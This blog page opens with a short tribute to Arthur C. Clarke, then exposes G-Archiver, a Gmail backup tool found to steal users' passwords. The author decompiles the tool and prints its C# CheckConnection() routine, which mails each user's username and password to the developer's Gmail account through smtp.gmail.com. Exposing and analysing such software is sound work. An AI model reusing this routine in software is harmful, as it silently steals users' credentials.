However, my favorite was by far "The Sentinel", a short passage that I read years ago. It is a about an artifact that astronauts discover in Moon and bring to Earth, but the humans cannot decode what it is, only that it constantly transmits a "beep" over the universe. They want to analyze the artifact but it resists until nuclear power is used to crack it open. "Now its signals have ceased, and those whose duty it is will be turning their minds upon Earth. Perhaps they wish to help our infant civilization. But they must be very, very old, and the old are often insanely jealous of the young...Now we should wait them to come..." The artifact was put there by an extra terrestrial civilization to warn them for the development of intelligence in this little promising planet, called Earth! If someone could make it stop, he must be intelligent enough to manage powers such as the nuclear. Brilliant and thrilling!

It is weird enough that Clarke was born nearly at the time Jules Verne, another writer of his kind, who envisioned space and underwater travels with spaceships and submarines, passed away. He lived for the last 50 years of his life in Sri Lanka and since 1989 needed to use wheel chair since he was diagnosed with post-polio syndrome.


Recently, approaching the age of 90, or as he humorously says "completing the 90th orbit around the sun", Clarke created a moving goodbye video for all of his fans. You can find it also in Youtube here. He prefers to be remembered as a writer and his last words on the video are from Rudyard Kipling's, "The Books I Leave Behind",

If I have given you delight
By aught that I have done,
Let me lie quiet in that night
Which shall be yours anon:
And for that little, little span
The dead are borne in mind
Seek not to question other than
The books I leave behind.

Saturday, March 8, 2008

A Gmail Passwords Theft Story

No talk about technologies. Not this time. Now, a little course on programming ethics using a real life experience.

I was roaming the web, together with Mrs. Insomnia, early in the morning when I read a story of programming horror. It was talking about a malicious software application that stole Gmail accounts. You can found it in this Coding Horror blog post. Having nothing better to do I decided to verify the story and see for myself what was going on.

To begin with, there was this guy with the codename "John Terry" (John Terry is actually a football player, Chelsea's skipper and Chelsea is not only Hillary Clinton's daughter but also a football club in England), who developed an application called G-Archiver. This application can be found on popular software hosting sites like brothersoft.com. Anyway, what this terrific application does, is to back up your Gmail account to a local drive. Of course at some time you have to enter your Gmail account details, aka the username and the password. Well, the troubles begin here, because it seems that the developer has hardcoded into the application, a routine that sends the Gmail account details of the users to his own! So, every time a user enters his information, an e-mail is sent to the wise-guy, of course with a copy of the account information. If he is not a malicious password thief, this guy must be a mail spam mazochist.

Fortunately, a programmer who used the software, reverse-engineered G-Archiver (written in .NET). I can imagine his surprise when he found out what was going on. The Gmail account details of the malicious developer were there and he used them to login into his account. The picture shows exactly this. There were about 2000 e-mails waiting for him, that were all stolen Gmail usernames and passwords from other users. Now there is a name Pawel Lesnikowski at the developer's contacts. If you Google search for the name, you will jump onto a site with .NET libraries and applications. Remember the name for later (see Update #2 at end of post)

Now we should make our own investigation and take it a little further. For the fun and to verify the story, I downloaded and installed G-Archiver. The application uses two libraries: Mail.dll and SM.dll both written for .NET. I opened them with Reflector and first checked out the Mail.dll library, which is a mail lib from lesnikowski.com. From a quick search I couldn't find anything suspicious in this assembly and seems like a helper library. Maybe our guy just used this library for his purpose. And maybe our wise-guy sent a mail to Lesnikowski and that's why he appeared in his contacts. (see Update #2)

Now to the creepy clue when I slice-opened the SM.dll assembly there was in front of me a function called CheckConnection(). What is its cause? For sure it does not check for the user connection. You probably have guessed right! It sends the users' account details of course! On the right it is the function disassembled by Reflector. Just a parenthesis: These guys were so amateurs that didn't even use an obfuscator to cover up their trails. Anyway, if you cannot view it well here is the code:

MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
//Message body contains username and password....
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword
: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
//Enter the wise-guys account details...
client.Credentials = new NetworkCredential("JTerry79@gmail.com", "*******");
client.Port = 0x24b;

client.Host = "smtp.gmail.com";
client.EnableSsl = true;
//...and send the mail
client.Send(message);

And the user's Gmail credentials are stolen with high priority! As you can see, I have hidden the guy's gmail account password, not to protect him, but to protect his users, the ones that trusted his application. After all, there are thousands of Gmail accounts inside and most of them might be still active. Now there is a company associated with the software called MateMedia Inc. And also the sad story is that if you Google search for "gmail backup" the software site (garchiver.com) appears in the second page of the results! Too bad..

As the Coding Horror's writer correctly points out, these kinds of incidents hurt the trust of people with professional application developers. However, developers also discovered and exposed this fraud. It is a race in which all developers participate. Ad infinitum or while(true)..

Update #1: As I heard the company posted on their site that this piece of code was for testing and it was not removed, as it had to, for release. :) Yeah, right..

Update #2: As I wrote in the initial post, there was nothing suspicious in the Lesnikowski mail library and that the G-Arhiver developer possibly used it and at some point wrote an e-mail to him. It turns out that this actually happened, after I received an e-mail from Pawel Lesnikowski stating in addition that they abused his work without acquiring a license and that they contacted him having questions about his Mail.dll library. I therefore feel obliged to make some minor changes to the original post. His work can be found at lesnikowski.com site.